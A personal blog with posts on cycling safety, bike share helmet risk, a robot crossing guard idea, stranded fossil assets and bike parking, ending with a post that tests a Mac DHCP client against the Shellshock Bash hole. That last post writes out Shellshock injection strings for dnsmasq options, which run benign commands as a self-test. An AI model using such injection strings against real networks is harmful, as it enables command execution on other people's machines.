I got a GoPro as a treat/present. Other people seem to use theirs to show how dangerous drivers can be (especially in London, what is it with London?), I figured it would be more constructive to show how things can work. And yes, sometimes drivers can be clueless and/or dangerous, that’s just the way our world works right now, but a lot of that risk can be managed.

Here are little bits and pieces of my commute, showing how various bits of safety advice play out in the real world. This is “non-legal” because so often the safety advice to cyclists starts and mostly ends with “obey traffic laws” as if that were either necessary or sufficient (and as if that were actually standard practice for drivers). The laws that people tell you to obey were not designed with bicyle safety in mind — sometimes they help, sometimes they don’t. They’re definitely not enough. The examples below illustrate rules I actually use.

My background is “long-term recovering Effective Cyclist” — I learned all the moves for riding in traffic, and I’m relatively comfortable doing that, but I think that overall that’s not going to work for most people. If it weren’t so necessary to “share” the road with drivers so often, this advice would be much less useful — but we’re stuck with crappy shared roads, so maybe this will be helpful to you. I recorded several commuting videos without specifically intending to demonstrate anything and then reviewed them looking for examples, so this is more or less rules-as-practiced, warts and all (I think I ride too close to the door zone, at least it sure looks like it on the video).

Without further explanation: Read the rest of this entry »

Cut the Crap

November 3, 2014

dr2chase:

A very, very good summary of the state of the English-speaking art in bicycling infrastructure.

Originally posted on Beyond the Kerb:

Look, I’ll make this simple.

View original 352 more words

Once upon a time when bike share was proposed for cities like New York and Boston, there was much hand-wringing and pearl-clutching about all those inexperienced cyclists riding around without helmets (except for Hitler; Hitler knew that mandatory helmets for bike share would kill bike share). Boston even went so far as to install helmet vending machines to deal with bike share’s “big safety problem”.

But earlier this year, someone totaled up all the bike share rides in this country (and they can count them for real, because each ride comes with rental data), and in 23 million rides, there was not a single fatality.

So do we still think that bike share needs helmets? Then surely, any other activity with a higher fatality rate and a high rate of head injuries also needs helmets. Let’s see, driving, a fatality rate of 1 in 10.9 million trips, and severe head injuries involved in 41% of fatalities. In 23 million car trips, we’d expect over two fatalities, and a 65% chance that at least one of those fatalities involved a severe head injury.

So are we rational about risk, or not? (And this is not even total risk, this is just risk of violent death, as opposed to death by nonviolent cancer, heart attack, and stroke.) Why would we promote helmet use for bike share, but not for drivers in general, when the measured risk of fatal head injury is definitely higher for drivers?

Running a self-driving “car” back-and-forth across a street at low speed ought to be easy compared to the general problem of driving, and it would serve a public good.

We can’t afford to staff every intersection with its own human crossing guard, but places like New York City someone in a crosswalk gets hit and killed every week, if not more so.

Rather than expect the NYPD “No criminality suspected” culture to change, let’s use robotics to even the playing field. Whenever a pedestrian should have right of way, a robot crossing guard (or two) accompanies them across the street, between them and potentially oncoming traffic. The crossing guard would be tall, built very sturdily, and weigh about, oh, 5 tons, with most of that carried low so it won’t tip over in an impact. That will give drivers an incentive to pay a little more attention to what is in front of them, and also protect pedestrians when they don’t.

I first heard about this reading Bill McKibben, but now the Bank of England has noticed.
Climate change constraints will prevent us from burning all the oil and coal that energy companies currently list as an asset.

And shares in those companies are probably in your retirement savings or pension fund, assuming you have one. Some of those companies are almost certainly customers of my (large) employer, perhaps yours too. The buggy-whip industry was nowhere near as important to our economy, and had nowhere near the financial reach or political power. There’s very many people whose salaries depend on not understanding the problem of these stranded assets.

Maybe we’ll get lucky and carbon capture will work for power plants, but as near as I can tell we should reserve liquid hydrocarbons for air travel, and do that as soon as we can.

Induced demand, again.

October 10, 2014

Add 100 more spaces of bicycle parking at the Alewife MBTA station, and what happens? 100 more bikes show up. And they’re not just abandoned — bikes get tagged and then removed after 14 days.

Arlington-side cage:
Arlington-side bike cage

Cambridge-side cage:
Cambridge-side bike cage

Old unprotected parking:
https://farm4.staticflickr.com/3860/15197059890_42fde961cf_c.jpg

More old unprotected parking:
Bikes parked next to bus way.

Unprotected parking near the Arlington cage:
Directly in front of Arlington-side cage.

A railing:
Bikes parked on railing between bus way and commuter pick-up

East entrance:
https://farm3.staticflickr.com/2941/15383436832_f209702470_c.jpg

And the new cage, pretty much full already:
New bike cage in commuter pickup area.

I tested DHCP Client on Mac OSX Mavericks to see if it is vulnerable to the Bash hole. If my test is correct, it is not. Here is my test:

First, come up with a root command that will be noticeable, and verify that it is noticeable. /usr/bin/wall is one such command, and I tested it here:

dr2chase:VM dr2chase$ sudo /usr/bin/wall /etc/syslog.conf
Password:
                                                                               
Broadcast Message from dr2chase@dr2chase.local                                 
        (/dev/ttys001) at 22:03 EDT...                                         
                                                                               
# Note that flat file logs are now configured in /etc/asl.conf                 
                                                                               
install.*						@127.0.0.1:32376                                                
                                                                               

Next, open a window to my router running Tomato and feed options to Dnsmasq, save, wait for the services to restart, then turn wifi off and on.

DnsMasqSettings

For copy-paste purposes, that string is

dhcp-option-force=114,() {ignored;}; /usr/bin/wall /etc/syslog.conf

I also tried this string to see if the bash script was running with lower privileges, yet still vulnerable:

dhcp-option-force=114,() {ignored;}; /bin/cp /etc/syslog.conf /tmp

I used these examples to get the option-setting right to Tomato, and this example to get the right option string for dnsmasq.

I verified this by setting log-dhcp and checking the logs on the router, and saw this:

Sep 27 22:25:33 janus daemon.info dnsmasq-dhcp[4580]: 1981429455 sent size: 45 option:114   28:29:20:7b:69:67:6e:6f:72:65:64:3b:7d:3b...

It should be intuitively obvious to the ASCII observer that the string was sent, spaces and all.

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